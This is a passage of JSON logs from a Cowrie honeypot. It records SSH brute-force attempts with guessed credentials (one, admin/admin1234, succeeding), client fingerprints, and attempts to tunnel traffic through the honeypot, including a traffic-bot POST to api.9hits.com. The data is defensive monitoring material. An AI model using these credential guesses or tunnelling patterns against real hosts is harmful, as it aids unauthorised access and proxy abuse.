\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:02:16.711946Z","src_ip":"23.175.50.51","session":"1aac76bc54ae","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:02:16.793712Z","session":"1aac76bc54ae","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:02:16.853516Z","src_ip":"23.175.50.51","session":"1aac76bc54ae","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x036\\xe5=\\xe7\\x98\\xc3\\x949\\xdfy\\xb0\\x1b[t,\\x99Oo\\xd0X\\xc7\\xc0c\\xac\\xd3v8H\\xbf`\\x0eo 4\\xb3\\xf0$\\x8c\\x8e\\xd8)\\x8c\\xb9\\xcf89\\x01\\xaa\\xe9\\xb0/\\xa6o\\xf6\\x86\\x9a\\xb1\\xe6~\\xcfc-(\\xd4d\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 s\\xf09\\x9f^09Is\\x12\\xd8\\xde\\xf45\\x14\\xf5\\x14\\xfd\\x90\\xe6\\xa5\\xa9 \\x82\\xb1]p\\xb5\\xcfYp\\x14\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x036\\xe5=\\xe7\\x98\\xc3\\x949\\xdfy\\xb0\\x1b[t,\\x99Oo\\xd0X\\xc7\\xc0c\\xac\\xd3v8H\\xbf`\\x0eo 4\\xb3\\xf0$\\x8c\\x8e\\xd8)\\x8c\\xb9\\xcf89\\x01\\xaa\\xe9\\xb0/\\xa6o\\xf6\\x86\\x9a\\xb1\\xe6~\\xcfc-(\\xd4d\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 s\\xf09\\x9f^09Is\\x12\\xd8\\xde\\xf45\\x14\\xf5\\x14\\xfd\\x90\\xe6\\xa5\\xa9 \\x82\\xb1]p\\xb5\\xcfYp\\x14\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:02:16.856200Z","src_ip":"23.175.50.51","session":"1aac76bc54ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"22.5","message":"Connection lost after 22.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:02:20.139447Z","src_ip":"23.175.50.51","session":"1aac76bc54ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":49896,"dst_ip":"159.203.135.109","dst_port":22,"session":"05f4f0e8c352","protocol":"ssh","message":"New connection: 182.93.50.90:49896 (159.203.135.109:22) [session: 05f4f0e8c352]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:02:20.338950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:02:20.343212Z","src_ip":"182.93.50.90","session":"05f4f0e8c352","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:02:20.557774Z","src_ip":"182.93.50.90","session":"05f4f0e8c352","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"clawd","password":"clawd123","message":"login attempt [clawd/clawd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:02:21.450925Z","src_ip":"182.93.50.90","session":"05f4f0e8c352","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:02:22.668531Z","src_ip":"182.93.50.90","session":"05f4f0e8c352","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":36342,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6fc085d3c3c","protocol":"telnet","message":"New connection: 172.81.62.90:36342 (159.203.135.109:23) [session: e6fc085d3c3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:02:24.239904Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.47","src_port":57950,"dst_ip":"10.17.0.5","dst_port":22,"session":"18bceb9f9352","protocol":"ssh","message":"New connection: 23.175.50.47:57950 (10.17.0.5:22) [session: 18bceb9f9352]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:02:32.330087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:02:32.338720Z","src_ip":"23.175.50.47","session":"18bceb9f9352","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:02:32.431016Z","src_ip":"23.175.50.47","session":"18bceb9f9352","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:02:33.574711Z","src_ip":"23.175.50.47","session":"18bceb9f9352","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.60.242.169","src_port":34830,"dst_ip":"159.203.135.109","dst_port":22,"session":"519bf3de3034","protocol":"ssh","message":"New connection: 103.60.242.169:34830 (159.203.135.109:22) [session: 519bf3de3034]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:02:44.093191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:02:44.097303Z","src_ip":"103.60.242.169","session":"519bf3de3034","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:02:44.346100Z","src_ip":"103.60.242.169","session":"519bf3de3034","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"javier","password":"javier","message":"login attempt [javier/javier] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:02:45.379678Z","src_ip":"103.60.242.169","session":"519bf3de3034","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:02:46.078211Z","session":"18bceb9f9352","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:02:46.140600Z","src_ip":"23.175.50.47","session":"18bceb9f9352","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1186\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (X11; Linux i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.113 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=NFBhOXNkbnZ7L19VNmNKSQ%3D%3DHwCDgXCcSdVBLCDVeH2QXlM7efxoX3ASrK9PrZ%2Fl8ttGBdTyKoyy4HUS2c7Su2HbWX24J2YbWAipkcZl0Oklgqt7rYne67k%2BnMv0Ag7SxJ0Nn9b6CLHmr4IC0VoJIUH%2FdN6m4KnXWcVJPQqOJHoNpGVLOVY9nc8sxtZ4Q5NHI8OdRirKPFuXJzXV3WSgL02Aap1542dEdIPx99fJ1MgYWpvmJm9GJftZ2xfLu7MTC3ZtHDSCpYwjG4Ahb%2BTn2GY%2FSrHq%2BpdGjLQ79f8RrHfa8Kz8A9iE7VqrYfa61aDSXZhNbrcDk7uFzsmy0sv7fGN39%2Bz6tT0J6HAKKzgBdQlP2Wyewm%2BPbkPuxUfgHgCoHq1gf4xnJHb5ks4adWlr9AGQJaFaMS6SoZnL2nUr4UdyFHSVqeXwOvzNDvmNo2x9thhJ2rQulRN9CIWXkxJvGWBy%2BNqESsTie5HBYd%2FBSAxgqEyOdlBWgW2SvNxjts%2Bgm0DGYXbEXJYUv%2F4dYXiJtOh7wIcJeVH%2BtabZNnjZ74fznR03tHPrmOGY4xnF8o1MHXFRivsraArffQRwcMQsqTRUL0vGhxlA38H7HQ6o0HBOPFR5205H9IBOZ71G%2Fw1PQ%2Bu2ZylZ4pUI4tEtiIu46tpWeH5EKkrdVfKp7HfQzLJJDaP%2FK57iQ8tj%2F7x5M3LZ6FwqmwABUTj3HsCdqlkuQev4rtBjm8x%2Fqzhu5lHNNzvWdPdp8ZDZ02t0kLwvAua%2F3DQzZUPMy7zb5naH7Y4jgxzdepKQji7UGVK%2BWpOMARwOgPP0%2BT8PCOje1fc1c0lk2EicbT359cJojCKq7%2F5jSRy%2B4THns44TS05AUM7ssWCwOiHrZyT8Y3M91KJWh9zpCasp%2FeTeIGaYlwhvl%2Bw9EfbxY8MrLNJ5cA2S8b%2FGTWtnrAu2EExVINiNKnDlpP0kkuSbvzSsa4xs935rellPBNNyxEAocMLFmMXkZ%2FLue%2BAR9f4p8MSVvA66LZvjj0aVa552XRDJ4lYzqP%2FeEe%2BliiQ3DHVNB7T%2FTZhRl8%2FmQqFiby5JjtBJkrYQN8jgqTLYv5Qj%2FAjYdoqb%2Fo8989hxDea2'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1186\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (X11; Linux i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.113 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=NFBhOXNkbnZ7L19VNmNKSQ%3D%3DHwCDgXCcSdVBLCDVeH2QXlM7efxoX3ASrK9PrZ%2Fl8ttGBdTyKoyy4HUS2c7Su2HbWX24J2YbWAipkcZl0Oklgqt7rYne67k%2BnMv0Ag7SxJ0Nn9b6CLHmr4IC0VoJIUH%2FdN6m4KnXWcVJPQqOJHoNpGVLOVY9nc8sxtZ4Q5NHI8OdRirKPFuXJzXV3WSgL02Aap1542dEdIPx99fJ1MgYWpvmJm9GJftZ2xfLu7MTC3ZtHDSCpYwjG4Ahb%2BTn2GY%2FSrHq%2BpdGjLQ79f8RrHfa8Kz8A9iE7VqrYfa61aDSXZhNbrcDk7uFzsmy0sv7fGN39%2Bz6tT0J6HAKKzgBdQlP2Wyewm%2BPbkPuxUfgHgCoHq1gf4xnJHb5ks4adWlr9AGQJaFaMS6SoZnL2nUr4UdyFHSVqeXwOvzNDvmNo2x9thhJ2rQulRN9CIWXkxJvGWBy%2BNqESsTie5HBYd%2FBSAxgqEyOdlBWgW2SvNxjts%2Bgm0DGYXbEXJYUv%2F4dYXiJtOh7wIcJeVH%2BtabZNnjZ74fznR03tHPrmOGY4xnF8o1MHXFRivsraArffQRwcMQsqTRUL0vGhxlA38H7HQ6o0HBOPFR5205H9IBOZ71G%2Fw1PQ%2Bu2ZylZ4pUI4tEtiIu46tpWeH5EKkrdVfKp7HfQzLJJDaP%2FK57iQ8tj%2F7x5M3LZ6FwqmwABUTj3HsCdqlkuQev4rtBjm8x%2Fqzhu5lHNNzvWdPdp8ZDZ02t0kLwvAua%2F3DQzZUPMy7zb5naH7Y4jgxzdepKQji7UGVK%2BWpOMARwOgPP0%2BT8PCOje1fc1c0lk2EicbT359cJojCKq7%2F5jSRy%2B4THns44TS05AUM7ssWCwOiHrZyT8Y3M91KJWh9zpCasp%2FeTeIGaYlwhvl%2Bw9EfbxY8MrLNJ5cA2S8b%2FGTWtnrAu2EExVINiNKnDlpP0kkuSbvzSsa4xs935rellPBNNyxEAocMLFmMXkZ%2FLue%2BAR9f4p8MSVvA66LZvjj0aVa552XRDJ4lYzqP%2FeEe%2BliiQ3DHVNB7T%2FTZhRl8%2FmQqFiby5JjtBJkrYQN8jgqTLYv5Qj%2FAjYdoqb%2Fo8989hxDea2'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:02:46.144075Z","src_ip":"23.175.50.47","session":"18bceb9f9352","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:02:46.632122Z","src_ip":"103.60.242.169","session":"519bf3de3034","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":53256,"dst_ip":"10.17.0.5","dst_port":22,"session":"a81873833b88","protocol":"ssh","message":"New connection: 123.27.168.40:53256 (10.17.0.5:22) [session: a81873833b88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:02:56.795308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:02:56.799546Z","src_ip":"123.27.168.40","session":"a81873833b88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5